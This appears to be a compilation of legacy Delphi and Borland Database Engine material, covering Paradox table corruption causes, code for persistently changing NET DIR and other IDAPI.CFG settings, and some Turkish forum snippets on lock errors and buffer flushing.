Of course if this approach is taken, you also need to remember to set the settings appropriately on any file server machines used to store your data files, but which do not have any Delphi applications running on them. One important point on this whole subject is that it helps enormously if you educate and train your users. It is not unheard of for users to pull the power cable from their PCs to plug into a kettle, or to terminate applications with the Ctrl+Alt+Del three-fingered salute. See References below for other references which discuss some of these issues, sometimes in the context of totally non-Inprise, non-Paradox systems. One final point to make is that if your Paradox tables do get corrupted, you can make use of TUtility.DLL to try and repair them. A BDE 5 compatible version of this DLL can be found at www.inprise.com/devsupport/bde/utilities.html. You can also find a sample Delphi application there that can be used against arbitrary Paradox tables to try and fix them. Back to Top References Inprise Technical Information sheet TI3342 which offers more views on the Paradox corruption issue; note the file name is case sensitive: www.inprise.com/devsupport/bde/ti_list/TI3342.html Q148367 discusses the Win95 redirector bug; to read any of the other MS KnowledgeBase articles you can build up a URL using the same pattern as this one: support.microsoft.com/support/kb/articles/q148/3/67.asp Discussion of the Windows 95 redirector problem and NT opportunistic locking: www.turbopower.com/newsletters/0798/default.asp Discussion of Novell settings to avoid data loss: www.daccess.com/Support/Integrating_DF_with_NetWare.htm cc:Mail technical paper 144293 discussing various Windows registry settings that need to be set correctly to avoid data loss: orionweb.lotus.com/sims/c8f6_546.htm cc:Mail technical paper 139714 discussing preferred NetWare settings to avoid data loss; if you use NetWare you should read this as it describes many preferred NetWare configuration settings not discussed here: orionweb.lotus.com/sims/8a76_546.htm Article 2917002 describes a Novell read caching problem; article 2911461 describes potential data loss issues using Windows 95 against a NetWare 3.11 server: support.novell.com/search/kb_index.htm Back to Top The Delphi Clinic, Issue 17: Paradox Table Corruption
620
Question: I am developing a Paradox table application in Delphi 1 to run on Windows For Workgroups (WFWG) 3.11. During testing we have had various occurrences of records being lost, indexes out of date and indexes corrupted. Why might this be caused, and what can I do to avoid it? The network server PC is also used as a client PC running the .EXE and is known as network drive L to all other PCs. We've added a SUBST L: C:\ to that PC's AUTOEXEC.BAT, so it's IDAPI.CFG can also refer to L:\... for its net directory and database path. We're running WFWG in enhanced mode and so VSHARE.386 is running, so do I really need SHARE? We've tried running the .EXE on Windows 95 and besides the above problem it seems to run OK. Are there any other things we should consider/change before running it live on Windows 95? Answer: Below are various recommendations you might find in various places and comments about them all, amassed from a number of Paradox and BDE experts. Thanks to Steve Axtell of Borland's European Technical Team, Phil Goulson of the UK Delphi Developer's Group, John O'Connell, Mike Orriss and Eryk Bottomley for their input. A frequent cause for any of the above data corruption problems is the premature termination (power loss, or PC reset possibly forced upon the user by a program hang) of a program accessing a Paradox table. Lost records will cause the index to get out of sync with the data, which will at some stage be followed by index corruption. In some cases, bad programming is the cause of the problem. It is important to ensure that records are posted. When you terminate a program, it is the responsibility of the developer to Post all un-posted records before the program is terminated, otherwise you will get a `record loss' problem. This could be achieved by applying something like the following statement for all your table objects in each form's OnClose event handler: if TableObject.State in dsEditModes then TableObject.Post; The program development phase is the time when most tables start inheriting corruption (caused by the developer resetting programs from time to time) which may not become evident until the system is deployed. One possible way of overcoming the problem is to rebuild the indexes periodically. This can be done with a table restructure (using the BDE DbiDoRestructure function, or with the Database Desktop) and will often resolve index corruption. It can also be done using TUtility, which can resolve data corruption (TUtility comes with the full version of Paradox and was included on the disk with Issue 5 of The Delphi Magazine, or look on the CompuServe BDEVTOOLS forum). An alternative, and perhaps more foolproof, way of fixing broken indexes would be to write a routine which physically erases the indexes (with DeleteFile) and recreates the indexes from scratch with the BDE DbiRegenIndexes call (which relies on the table being opened exclusively). If your tables use referential integrity, then deleting the indexes may cause a problem due to a special checksum in the table header. In these cases you will need to delete the indexes and the .VAL file and use DbiDoRestructure to regenerate all tables that are involved in the referential integrity relationship. In the BDE Configuration application on all PCs that will run the program, set Local Share to True on the System page. This ensures that lock files are written 621
to the local hard disk, thereby ensuring that applications on other machines will be able to find the lock files. This should only be necessary for the machine where the data resides, however the general opinion is that it should always be turned on, provided you have file sharing functionality loaded with either SHARE or VSHARE. On peer to peer networks, the default setting of Local Share is a common cause of data loss. When False, Local Share instructs the BDE to assume that all access to tables on `local drives' (a peer to peer LAN counts as `local') will occur via the same instance of the BDE in memory, it therefore fails in a number of situations including: ·
Peer to peer LANs;
·
Two applications running in different memory spaces under Windows NT (and maybe OS/2);
·
Running a 16-bit BDE app and a 32-bit BDE app on the same machine in Windows 95 or NT.
SUBST will disable 32-bit file access and may therefore slow the machine down. If 32-bit file access is disabled, VSHARE won't be loaded. Some would say that SUBST isn't very safe especially when used with Windows 95 and is probably provided by Microsoft for compatibility with old DOS applications. Apparently, there are little corners where Paradox does not function correctly and some people don't trust the command to work for all flavours of Wintel operating systems. As an aside, it has been observed that the latest 16 bit BDE (2.52, which ships with Paradox 7 for Windows 3.1x) has problems with Auto Refresh not occurring in Paradox 7 for Windows 3.1x on the server when the server is a Windows 95 machine. This may have ramifications for Delphi users. Recent revisions of the BDE allow different Sessions/Users to reference the PDOXUSRS.NET file using different drive letters so long as the remainder of the path is identical. Since the server has shared its root directory there is therefore no need to use SUBST and put up with the associated drawbacks: simply set the server machine's IDAPI.CFG Net Dir setting (on the Drivers page in the PARADOX driver settings) to C:\MYDIR and the workstations' Net Dir to L:\MYDIR. You can do this in code by assigning a value to Session.NetFileDir if you want to avoid editing IDAPI.CFG. Note that using the root directory for the NET file can confuse certain BDE revisions. It is advisable to avoid this as a matter of policy even though the current revision seems happy with it. Also, if the user of the server does not want to share the entire C drive, it might be better to create a small partition for the Net Dir location. If Local Share is True then the BDE will detect an incorrect NetFileDir and refuse to access the tables. If an incorrect assignment here is causing corruption then Local Share is still the real culprit. On the Aliases page of the BDE Configuration application on all PCs in that will run the program, ensure the alias's Path points to the same network data directory.
622
Ensure that all users have their own private directory, preferably local. This is set with the Session object's PrivateDir property. Note that the online help specifies that if there will be multiple instances of the program running simultaneously on any one machine you should make sure each instance is given a unique path to avoid interference between temporary files from the different instances. Call DbiSaveChanges after each table post (done simplest by putting the call in the table's AfterPost event handler). This should be unnecessary if the local share option has been set properly. When the BDE knows that the Paradox table is on a network, each record is saved to disk automatically. Therefore, DbiSaveChanges may only be necessary for saving local tables. There are two cases where a call to DbiSaveChanges can be a definite life saver: when you empty a table and when you restructure/pack a table (using DbiDoRestructure); this is because the actual table file is deleted and recreated but isn't necessarily committed to disk. Check your other software/hardware caching as delayed writes are not good news on a network. Instead of repeated calls to DbiSaveChanges, call DbiUseIdleTime in the Application's OnIdle event handler (also set the event handler's Done parameter to True). A call to DbiUseIdletime writes one dirty buffer to disk. Putting it in the OnIdle event means buffers will be written whenever your program is waiting for user input. Avoid using both DbiSaveChanges and DbiUseIdletime as they both do the same thing and so you'll be causing excessive function calls. This routine is becoming very popular as a general alternative to DbiSaveChanges, as it requires much less coding to use. Have SHARE loaded with parameters of /F:4096 /L:40 as recommended by Borland. This advice is generally for Windows 3.10 users only. VSHARE from Windows for Workgroups supersedes SHARE: it's much better, although there is a caveat. Apparently VSHARE is a 32-bit driver which won't work with 16-bit disk controllers/drives which are present on non-local bus IDE PCs. In those circumstances, excluding SHARE from AUTOEXEC.BAT, and enabling VSHARE from Control Panel causes an error from IDAPI indicating SHARE isn't loaded. Write a message handler for wm_EndSession in your main form class. Delphi 1 doesn't automatically handle this message which is sent when Windows is shut down by the user (although Delphi 2 does). Consequently, if a Delphi app is running when Windows is terminated, it won't be closed properly, and so BDE buffers may remain unwritten. It would be good practice to call Halt on receipt of a wm_EndSession message handler. Halt is not normally an advisable way to close a program, usually we use Application.Terminate. However that operates by posting (as opposed to sending) a wm_Quit message and so won't get around to doing what it needs to before Windows is gone. Halt causes exit procedures to be called, including the one in the DB unit which frees the Session object, thereby closing down the BDE in a proper fashion. The code below shows part of a form unit which takes up some of these suggestions. This code is from the project LOSS.DPR which can be found in the PARADOX.ZIP file. TForm1 = class(TForm) ... public procedure DoIdle(Sender: TObject; var Done: Boolean); 623
{$ifdef VER80} procedure WMEndSession(var Msg: TWMEndSession); message wm_EndSession; {$endif} end; ... uses DbiProcs; ... procedure TForm1.FormCreate(Sender: TObject); begin Application.OnIdle := DoIdle; end; procedure TForm1.DoIdle(Sender: TObject; var Done: Boolean); begin { Each idle period, write a dirty buffer to disk } DbiUseIdleTime; Done := True; end; procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); var Loop: Integer; begin {Generic way of ensuring all table changes are saved when form is closed} for Loop := 0 to ComponentCount - 1 do if Components[Loop] is TDataSet then with TDataSet(Components[Loop]) do if State in dsEditModes then Post; end; {$ifdef VER80} procedure TForm1.WMEndSession(var Msg: TWMEndSession); begin { If session is ending, call Halt to get exit routines executed. The DB unit's exit routine frees the Session object, which will unload the BDE, flushing any unsaved changes to disk } if Msg.EndSession then Halt; end; {$endif} Back to Top
624
How to change NET DIR programmatically so it persists Abstract:Writing values into the BDE configuration file requires only a few function calls. How to change NET DIR programmatically so it persists Writing values into the BDE configuration file requires only a few function calls. by Steven Randolph Programs accessing Paradox tables must also access a special control file named PDOXUSRS.NET. When multiple programs, whether running on one computer or on multiple computers, access the same Paradox table(s), each program must also access the same PDOXUSRS.NET file. Therefore, if multiple computers are running the programs, the PDOXUSRS.NET file must be located in a shared directory. Usually, the location of this file is configured on each computer by running the BDE configuration utility program, BDEADMIN.EXE. The NET DIR parameter indicates where the PDOXUSRS.NET file is located. That NET DIR parameter is associated with the Paradox driver generally, not with any particular alias. THE PROBLEM AND THE GOAL I recently inherited the maintenance of a production system consisting of several client programs running on multiple computers. Each program accesses Paradox tables through multiple aliases. Each alias "points" to a different directory on a host computer. Each program also reads and writes flat files in a large number of directories on one of two hosts. One of the first improvements that I determined to make was to set up a test environment, which my predecessor had never done. I wanted a single host computer for the test environment to have its own tables, its own set of directories, and its own PDOXUSRS.NET file. In other words, any client computer designated for testing should be isolated from the production host environment. I also wanted to make the minimum of changes to the existing production programs to allow for this. While it might seem that the entire task could be accomplished by changing the drive mappings on the test computers, which can be done programmatically, in my case that was not practical. Some of the same drive mappings are used for other purposes in our environment. Besides, this would have required me to create the same rather arcane relative directory structure on the test host as exists on the two production hosts, and I did not wish to do that. So I decided to create a utility program that would accomplish several tasks at once. In this program, the user could click a button labeled "Configure for Test" or one labeled "Configure for Production" and the configuration would be made immediately on that computer. It would create or modify registry entries specifying the various directories to access for the flat files. This part was easy to program, using the TRegistry component. The program also needed to configure 625
the several Paradox aliases to point to either test or production directories. This was also no problem; I merely used the DbiAddAlias and DbiDeleteAlias functions, both of which are well documented. The only variable parameter for the creation of the Paradox aliases was the directory location, and everything else was left at default values. Setting the last parameter in the DbiAddAlias call to "true" caused the alias to be recorded permanently in the BDE configuration file for that computer. However, doing the same for the NET DIR value was not so easy! There is a documented technique for changing the NET DIR directory programmatically. It is documented in Borland’s TI-15230. This technique uses the DbiSetProp BDE function. Unfortunately, DbiSetProp changes the NET DIR directory for the current session only! That is, it does not cause the new value for NET DIR to be written into the BDE configuration file. It took quite a bit of searching and some experimentation to determine how to do that. Finally I figured out that the code in the following block does the trick. THE SOLUTION First is the C++ Builder code. You might want to do the error trapping a little differently, or put in some messages, in a real program. This is just an example of the basic technique. if(DbiInit(NULL) == DBIERR_NONE) { hDBICur hCur = NULL; if(DbiOpenCfgInfoList(NULL, dbiREADWRITE, cfgPersistent, "\\DRIVERS\\PARADOX\\INIT", hCur) == DBIERR_NONE) { if(DbiSetToBegin(hCur) == DBIERR_NONE) { CFGDesc Config; for(;;) // for ever { if(DbiGetNextRecord(hCur, dbiWRITELOCK, &Config, NULL) != DBIERR_NONE) break; if(strcmpi(Config.szNodeName, "NET DIR") == 0) { strcpy(Config.szValue, "servervolumemydir"); DbiModifyRecord(hCur, &Config, true); break; } } } } DbiExit(); } The Delphi version of this process is similar. var hCur : hDBICur; Config : CFGDesc; ContinueIt: boolean; 626
... if DbiInit(nil) = DBIERR_NONE then begin hCur := nil; if DbiOpenCfgInfoList(nil, dbiREADWRITE, cfgPersistent, '\\DRIVERS\\PARADOX\\INIT', hCur) = DBIERR_NONE then begin if DbiSetToBegin(hCur) = DBIERR_NONE then begin ContinueIt := true; while ContinueIt do begin if(DbiGetNextRecord(hCur, dbiWRITELOCK, @Config, nil) <> DBIERR_NONE) then ContinueIt := false else if StrIComp(Config.szNodeName, 'NET DIR') = 0 then begin StrCopy(Config.szValue, 'servervolumemydir'); DbiModifyRecord(hCur, @Config, true); ContinueIt := false end; end; end; end; DbiExit(); end; If you use this code, you would want to substitute your own value for the path name to be copied into Config.szValue, of course. In my real program, the value was supplied in a string variable, the contents being determined by whether the user had clicked the "test" button or the "production" button. The value you submit can contain a mapped drive letter, if you are quite sure those mappings will never change; but I always prefer to use the universal naming convention. CAVEATS My experimentation suggests that it is not strictly necessary to close other BDE programs prior to running this code. Just the same, it would probably be a good idea to do so. In any case, a BDE program will not take notice of a changed value in the BDE configuration file until it is started subsequent to the change. You may also notice this while debugging your utility program in the IDE, if you happen to change the value and then try to re-read it without calling DbiExit and DbiInit again. (In the example code, this should not be a problem because DbiExit is executed right after the change is written.) Another important consideration is to make sure that the path you submit to be the new NET DIR actually exists. The BDE will, at runtime, create the PDOXUSRS.NET file if it does not already exist in the NET DIR directory; but the BDE will not create the NET DIR directory for you. If this happens, you will get a runtime error "Network Initialization Failed" when your program tries to initialize or access a Paradox object. 627
You should also remember that if you have programs that change their own NET DIR locations at runtime, using either the DbiSetProp function or the NetFileDir property of a TSession component, this will override the NET DIR value in the configuration file. All of the programs I inherited just use whatever value the configuration file supplies. Finally, you should note that the same technique could be used to change other parameters for the Paradox driver, or many parameters for other drivers. You would have to be very careful about which values you supply, however. Changing the NET DIR directory is relatively safe.
628
BDE API Examples (DbiOpenCfgInfoList) Returns a handle to an in-memory table listing all the nodes in the configuration file accessible by the specified path. WARNING: Be extremely careful when altering the IDAPI.CFG configuration file. Make absolutely sure that all options and parameters are correct or corruption of the configuration file can, and more than likely, occur. Example 1: Retrieve a particular value from the IDAPI.CFG configuration file. This example uses the following input: Edit1.Text := GetConfigParameter(PARADOXLEVEL, @Count); NOTE: Param (in this case PARADOXLEVEL) must be a string that contains the path to the node and the node item separated by a semi-colon. At the bottom of this page are some of the more popular paths and items that are declared as constants for use with all these examples. function GetConfigParameter(Param: string; Count: pword): string; var hCur: hDBICur; rslt: DBIResult; Config: CFGDesc; Path, Option: string; Temp: array[0..255] of char;
begin Result := ''; hCur := nil; if Count <> nil then Count^ := 0; try if Pos(';', Param) = 0 then raise EDatabaseError.Create('Invalid parameter passed to function. There must '+ 'be a semi-colon delimited sting passed'); 629
Path := Copy(Param, 0, Pos(';', Param) - 1); Option := Copy(Param, Pos(';', Param) + 1, Length(Param) - Pos(';', Param)); Check(DbiOpenCfgInfoList(nil, dbiREADONLY, cfgPERSISTENT, StrPCopy(Temp, Path), hCur)); Check(DbiSetToBegin(hCur)); repeat rslt := DbiGetNextRecord(hCur, dbiNOLOCK, @Config, nil); if rslt = DBIERR_NONE then begin if StrPas(Config.szNodeName) = Option then Result := Config.szValue; if Count <> nil then Inc(Count^); end else if rslt <> DBIERR_EOF then Check(rslt); until rslt <> DBIERR_NONE; finally if hCur <> nil then Check(DbiCloseCursor(hCur)); end; end; Example 2: Set a particular value in the IDAPI.CFG configuration file (16-Bit Only) and (32-Bit, BDE v4.51 and later). NOTE: Do not use this procedure version if you are using BDE v4.50 and earlier (See Example 3 below) This exmaple uses the following inupt: SetConfigParameter(LOCALSHARE, 'TRUE') 630
NOTE: Param (in this case LOCALSHARE) must be a string that contains the path to the node and the node item separated by a semi-colon. At the bottom of this page are some of the more popular paths and items that are declared as constants for use with all these examples. procedure SetConfigParameter(Param: string; Value: string); var hCur: hDBICur; rslt: DBIResult; Config: CFGDesc; Path, Option: string; Found: boolean; Temp: array[0..255] of char;
begin hCur := nil; Found := False; try if Pos(';', Param) = 0 then raise EDatabaseError.Create('Invalid parameter passed to function. There must '+ 'be a semi-colon delimited sting passed'); Path := Copy(Param, 0, Pos(';', Param) - 1); Option := Copy(Param, Pos(';', Param) + 1, Length(Param) - Pos(';', Param)); Check(DbiOpenCfgInfoList(nil, dbiREADWRITE, cfgPERSISTENT, StrPCopy(Temp, Path), hCur)); repeat rslt := DbiGetNextRecord(hCur, dbiNOLOCK, @Config, nil); if rslt = DBIERR_NONE then begin if StrPas(Config.szNodeName) = Option then 631
begin StrPCopy(Config.szValue, Value); Check(DbiModifyRecord(hCur, @Config, FALSE)); Found := True; break; end; end else if rslt <> DBIERR_EOF then Check(rslt); until rslt <> DBIERR_NONE; if Found = False then raise EDatabaseError.Create(Param + ' entry was not found in configuration file');
finally if hCur <> nil then Check(DbiCloseCursor(hCur)); end; end; Example 3: Set a particular value in the IDAPI.CFG configuration file (32-Bit Only; All Versions). NOTE: You must use this procedure version if you are using BDE v4.50 and earlier This exmaple uses the following inupt: SetConfigParameter2(LOCALSHARE, 'TRUE') NOTE: Param (in this case LOCALSHARE) must be a string that contains the path to the node and the node item separated by a semi-colon. At the bottom of this page are some of the more popular paths and items that are declared as constants for use with all these examples. procedure SetConfigParameter2(Param: string; Value: string);
632
var hCfg: hDBICfg; Config: SYSConfig; Path, Option: string; ParamCount, I: word; pFields, pFld: pFLDDesc; pRecBuf, pRec: pBYTE; Found, SelfInitialized: boolean; rslt: DBIResult;
begin {$Ifdef WIN32} hCfg := nil; pFld := nil; pRec := nil; Found := False; SelfInitialized := False; try if Pos(';', Param) = 0 then raise EDatabaseError.Create('Invalid parameter passed to function. There must '+ 'be a semi-colon delimited sting passed'); Path := Copy(Param, 0, Pos(';', Param) - 1); Option := Copy(Param, Pos(';', Param) + 1, Length(Param) - Pos(';', Param));
rslt := DbiGetSysConfig(Config); if rslt <> DBIERR_NONE then begin if rslt = DBIERR_NOTINITIALIZED then // Engine not initialized error... begin SelfInitialized := True; 633
DbiInit(nil); Check(DbiGetSysConfig(Config)); end else Check(rslt); end; (* DbiOpenConfigFile is defined as such: function DbiOpenConfigFile ( pszDirPath bCreate
: PChar; : Bool;
var hCfg
: hDBICfg
{ Open/Create configuration } { Directory } { TRUE to create/overwrite } { Handle to config }
): DBIResult stdcall; *) Check(DbiOpenConfigFile(Config.szIniFile, FALSE, hCfg));
(* DbiCfgGetRecord is defined as such: function DbiCfgGetRecord ( hCfg
: hDBICfg;
pszCfgPath var iFields
: PChar; : Word;
pfldDesc pRec
: pFLDDesc; : Pointer
{ Get a record } { Config Handle/NULL } { Path } { Returned nbr of fields } { Field descriptors } { Field values }
): DBIResult stdcall; *) { Call it without the field and record buffer to get the count... } Check(DbiCfgGetRecord(hCfg, PChar(Path), ParamCount, nil, nil));
pFields := AllocMem(ParamCount * sizeof(FLDDesc)); pFld := pFields; 634
pRecBuf := AllocMem(10000); pRec := pRecBuf;
{ Get the node values... } Check(DbiCfgGetRecord(hCfg, PChar(Path), ParamCount, pFields, pRecBuf));
for I := 0 to ParamCount - 1 do begin if pFields^.szName = Option then begin StrPCopy(PChar(pRecBuf), Value);
(* DbiCfgModifyRecord is defines as such: function DbiCfgModifyRecord ( hCfg
: hDBICfg;
pszCfgPath iFields pfldDesc pRec
: PChar;
: Word; : pFLDDesc; : Pointer
{ Modify a record } { Config Handle/NULL } { Path } { Nbr of fields } { Field descriptors } { Data values }
): DBIResult stdcall; *) Check(DbiCfgModifyRecord(hCfg, PChar(Path), ParamCount, pFld, pRec));
Found := True; end; Inc(pFields); Inc(pRecBuf, 128); 635
end; if Found = False then raise EDatabaseError.Create(Param + ' entry was not found in configuration file');
finally if pFld <> nil then FreeMem(pFld); if pRec <> nil then FreeMem(pRec); if hCfg <> nil then
(* DbiCloseConfigFile is defined as such: function DbiCloseConfigFile ( var hCfg bSave bDefault bSaveAs16
: hDBICfg; : Bool; : Bool; : Bool
{ Close the config file } { Handle } { To save the changes } { To make this file the default } { To save as a 16-bit config file }
): DBIResult stdcall; *) { Close and save the config file... } Check(DbiCloseConfigFile(hCfg, TRUE, TRUE, FALSE)); if SelfInitialized = True then DbiExit; end; {$Else} raise EDatabaseError.Create('Non supported function in 16 bit'); {$EndIf} 636
end; Special pre-defined constants for use with the above exmaples const { Here are the parameters used to pass into the cfg functions. These are only a small portion of what types can be passed in. You need to call DbiOpenCfgInfoList with '\' into pszCfgPath to get all possible options if it is not foend below. }
{ Paradox Driver Settings... } PARADOXNETDIR = '\DRIVERS\PARADOX\INIT\;NET DIR'; PARADOXVERSION = '\DRIVERS\PARADOX\INIT\;VERSION'; PARADOXTYPE = '\DRIVERS\PARADOX\INIT\;TYPE'; PARADOXLANGDRIVER = '\DRIVERS\PARADOX\INIT\;LANGDRIVER'; PARADOXLEVEL = '\DRIVERS\PARADOX\TABLE CREATE\;LEVEL'; PARADOXBLOCKSIZE = '\DRIVERS\PARADOX\TABLE CREATE\;BLOCK SIZE'; PARADOXFILLFACTOR = '\DRIVERS\PARADOX\TABLE CREATE\;FILL FACTOR'; PARADOXSTRICTINTEGRITY = '\DRIVERS\PARADOX\TABLE CREATE\;STRICTINTEGRITY';
{ dBASE Driver Settings... } DBASEVERSION = '\DRIVERS\DBASE\INIT\;VERSION'; DBASETYPE = '\DRIVERS\DBASE\INIT\;TYPE'; DBASELANGDRIVER = '\DRIVERS\DBASE\INIT\;LANGDRIVER'; DBASELEVEL = '\DRIVERS\DBASE\TABLE CREATE\;LEVEL'; DBASEMDXBLOCKSIZE = '\DRIVERS\DBASE\TABLE CREATE\;MDX BLOCK SIZE'; DBASEMEMOFILEBLOCKSIZE = '\DRIVERS\DBASE\TABLE CREATE\;MEMO 637
FILE BLOCK SIZE';
{ InterBase Driver Settings... } INTERBASESERVERNAME = '\DRIVERS\INTRBASE\DB OPEN\;SERVER NAME'; INTERBASEUSERNAME = '\DRIVERS\INTRBASE\DB OPEN\;USER NAME'; INTERBASEOPENMODE = '\DRIVERS\INTRBASE\DB OPEN\;OPEN MODE'; INTERBASESCHEMACACHESIZE = '\DRIVERS\INTRBASE\DB OPEN\;SCHEMA CACHE SIZE'; INTERBASELANGDRIVER = '\DRIVERS\INTRBASE\DB OPEN\;LANGDRIVER'; INTERBASESQLQRYMODE = '\DRIVERS\INTRBASE\DB OPEN\;SQLQRYMODE'; INTERBASESQLPASSTHRUMODE = '\DRIVERS\INTRBASE\DB OPEN\;SQLPASSTHRU MODE'; INTERBASESCHEMACACHETIME = '\DRIVERS\INTRBASE\DB OPEN\;SCHEMS CACHE TIME'; INTERBASEMAXROWS = '\DRIVERS\INTRBASE\DB OPEN\;MAX ROWS'; INTERBASEBATCHCOUNT = '\DRIVERS\INTRBASE\DB OPEN\;BATCH COUNT'; INTERBASEENABLESCHEMACACHE = '\DRIVERS\INTRBASE\DB OPEN\;ENABLE SCHEMA CACHE'; INTERBASEENABLEBCD = '\DRIVERS\INTRBASE\DB OPEN\;ENABLE BCD'; INTERBASEBLOBSTOCACHE = '\DRIVERS\INTRBASE\DB OPEN\;BLOBS TO CACHE'; INTERBASEBLOBSIZE = '\DRIVERS\INTRBASE\DB OPEN\;BLOB SIZE'; INTERBASEVERSION = '\DRIVERS\INTRBASE\INIT\;VERSION'; INTERBASETYPE = '\DRIVERS\INTRBASE\INIT\;TYPE'; INTERBASEDLL = '\DRIVERS\INTRBASE\INIT\;DLL'; INTERBASEDRIVERFLAGS = '\DRIVERS\INTRBASE\INIT\;DRIVER FLAGS'; INTERBASEDLL32 = '\DRIVERS\INTRBASE\INIT\;DLL32'; INTERBASETRACEMODE = '\DRIVERS\INTRBASE\INIT\;TRACE MODE';
638
{ Oracle Driver Settings... } ORACLEBATCHCOUNT = '\DRIVERS\ORACLE\DB OPEN\;BATCH COUNT'; ORACLEENABLEBCD = '\DRIVERS\ORACLE\DB OPEN\;ENABLE BCD'; ORACLEENABLEINTEGERS = '\DRIVERS\ORACLE\DB OPEN\;ENABLE INTEGERS'; ORACLEENABLESCHEMACACHE = '\DRIVERS\ORACLE\DB OPEN\;ENABLE SCHEMA CACHE'; ORACLELANGDRIVER = '\DRIVERS\ORACLE\DB OPEN\;LANGDRIVER'; ORACLELISTSYNONYMS = '\DRIVERS\ORACLE\DB OPEN\;LIST SYNONYMS'; ORACLEMAXROWS = '\DRIVERS\ORACLE\DB OPEN\;MAX ROWS'; ORACLENETPROTOCOL = '\DRIVERS\ORACLE\DB OPEN\;NET PROTOCOL'; ORACLEOPENMODE = '\DRIVERS\ORACLE\DB OPEN\;OPENMODE'; ORACLEROWSETSIZE = '\DRIVERS\ORACLE\DB OPEN\;ROWSET SIZE'; ORACLESCHEMACACHEDIR = '\DRIVERS\ORACLE\DB OPEN\;SCHEMA CACHE DIR'; ORACLESCHEMACACHESIZE = '\DRIVERS\ORACLE\DB OPEN\;SCHEMA CACHE SIZE'; ORACLESCHEMACACHETIME = '\DRIVERS\ORACLE\DB OPEN\;SCHEMA CACHE TIME'; ORACLESERVERNAME = '\DRIVERS\ORACLE\DB OPEN\;SERVER NAME'; ORACLESQLPASSTHRUMODE = '\DRIVERS\ORACLE\DB OPEN\;SQLPASSTHRU MODE'; ORACLESQLQUERYMODE = '\DRIVERS\ORACLE\DB OPEN\;SQLQRYMODE'; ORACLEUSERNAME = '\DRIVERS\ORACLE\DB OPEN\;USER NAME'; ORACLEDLL = '\DRIVERS\ORACLE\INIT\;DLL'; ORACLEDLL32 = '\DRIVERS\ORACLE\INIT\;DLL32'; ORACLEDRIVERFLAGS = '\DRIVERS\ORACLE\INIT\;DRIVER FLAGS'; ORACLETRACEMODE = '\DRIVERS\ORACLE\INIT\;TRACE MODE'; ORACLETYPE = '\DRIVERS\ORACLE\INIT\;TYPE'; ORACLEVENDORINIT = '\DRIVERS\ORACLE\INIT\;VENDOR INIT'; 639
ORACLEVERSION = '\DRIVERS\ORACLE\INIT\;VERSION';
{ MSACCESS Driver Settings... } MSACCEESSLANGDRIVER = '\DRIVERS\MSACCESS\DB OPEN\;LANGDRIVER'; MSACCESSDATABASENAME = '\DRIVERS\MSACCESS\DB OPEN\;DATABASE NAME'; MSACCESSUSERNAME = '\DRIVERS\MSACCESS\DB OPEN\;USER NAME'; MSACCESSOPENMODE = '\DRIVERS\MSACCESS\DB OPEN\;OPEN MODE'; MSACCESSSYSTEMDATABASE = '\DRIVERS\MSACCESS\DB OPEN\;SYSTEMDATABASE'; MSACCESSVERSION = '\DRIVERS\MSACCESS\INIT\;VERSION'; MSACCESSTYPE = '\DRIVERS\MSACCESS\INIT\;TYPE'; MSACCESSDLL32 = '\DRIVERS\MSACCESS\INIT\;DLL32'; MSACCESSDRIVERFLAGS = '\DRIVERS\MSACCESS\INIT\;DRIVER FLAGS'; MSACCESSTRACEMODE = '\DRIVERS\MSACCESS\INIT\;TRACE MODE';
{ System Initialization Settings... } AUTOODBC = '\SYSTEM\INIT\;AUTO ODBC'; DATAREPOSITORY = '\SYSTEM\INIT\;DATA REPOSITORY'; DEFAULTDRIVER = '\SYSTEM\INIT\;DEFAULT DRIVER'; LANGDRIVER = '\SYSTEM\INIT\;LANGDRIVER'; LOCALSHARE = '\SYSTEM\INIT\;LOCAL SHARE'; LOWMEMORYUSAGELIMIT = '\SYSTEM\INIT\;LOW MEMORY USAGE LIMIT'; MAXBUFSIZE = '\SYSTEM\INIT\;MAXBUFSIZE'; MAXFILEHANDLES = '\SYSTEM\INIT\;MAXFILEHANDLES'; 640
MEMSIZE = '\SYSTEM\INIT\;MEMSIZE'; MINBUFSIZE = '\SYSTEM\INIT\;MINBUFSIZE'; SHAREDMEMLOCATION = '\SYSTEM\INIT\;SHAREDMEMLOCATION'; SHAREDMEMSIZE = '\SYSTEM\INIT\;SHAREDMEMSIZE'; SQLQRYMODE = '\SYSTEM\INIT\;SQLQRYMODE'; SYSFLAGS = '\SYSTEM\INIT\;SYSFLAGS'; VERSION = '\SYSTEM\INIT\;VERSION';
641
Table bileşeninin OnEditError kısmına aşağıdaki kodu koyarak kullanıcıyı yakalayabilirsin. Var ErrInfo:DBIErrInfo; Bilgi:Array [1..2] Of string; begin DbiGetErrorInfo (False,ErrInfo); If ErrInfo.iError=10241 Then begin SetLength (Bilgi[1],DBIMAXMSGLEN); DbiGetErrorConText (EcTableName, (PChar(Bilgi[1]))); SetLength (Bilgi[1], StrLen(Pchar(Bilgi[1]))); SetLength (Bilgi[2],DBIMAXMSGLEN); DbiGetErrorConText (EcUserName, (PChar(Bilgi[2]))); SetLength (Bilgi[2], StrLen(Pchar(Bilgi[2]))); ShowMessage (Format('Erişim hatası : %s dosyası, %s tarafından kullanılıyor.',[ExtractFileName (Bilgi[1]),Bilgi[2]])); Abort; end; end;
Kayıtlardaki değişikliği tampon bellekte bekletmeden anında yazmak için şu kodu kullanabilirsiniz. Öncelikle Uses satırına BDE'yi ekleyiniz. Procedure TdataModule1.Table3AfterPost(DataSet:TDataSet); Begin DBISaveChanges( (DataSet as TBDEDataSet).Handle); End; Çalışmalarınızda başarılar... delphiMan
19 Ara 2001 22:57
Table1.FlushBuffers; ı kullan fazlasıylaişini görecektir. Tüm Tablolarında CacheUpdade metodunu kullan. yapacağın şunlar: tabloların cacheUpdates'ini True yap ayrıca kayıt yapacağın anda table1.ApplyUpdates; table1.CommitUpdates; yaz applyupdates kaydı yapar CommitUpdates'de kayıt yapılıdıktan sonra Cache belleği boşaltır.
642
SQL Uzerine (Açıklamalı - Örnekli) - 1
0
29 Haz 2002 14:17 Eklendi
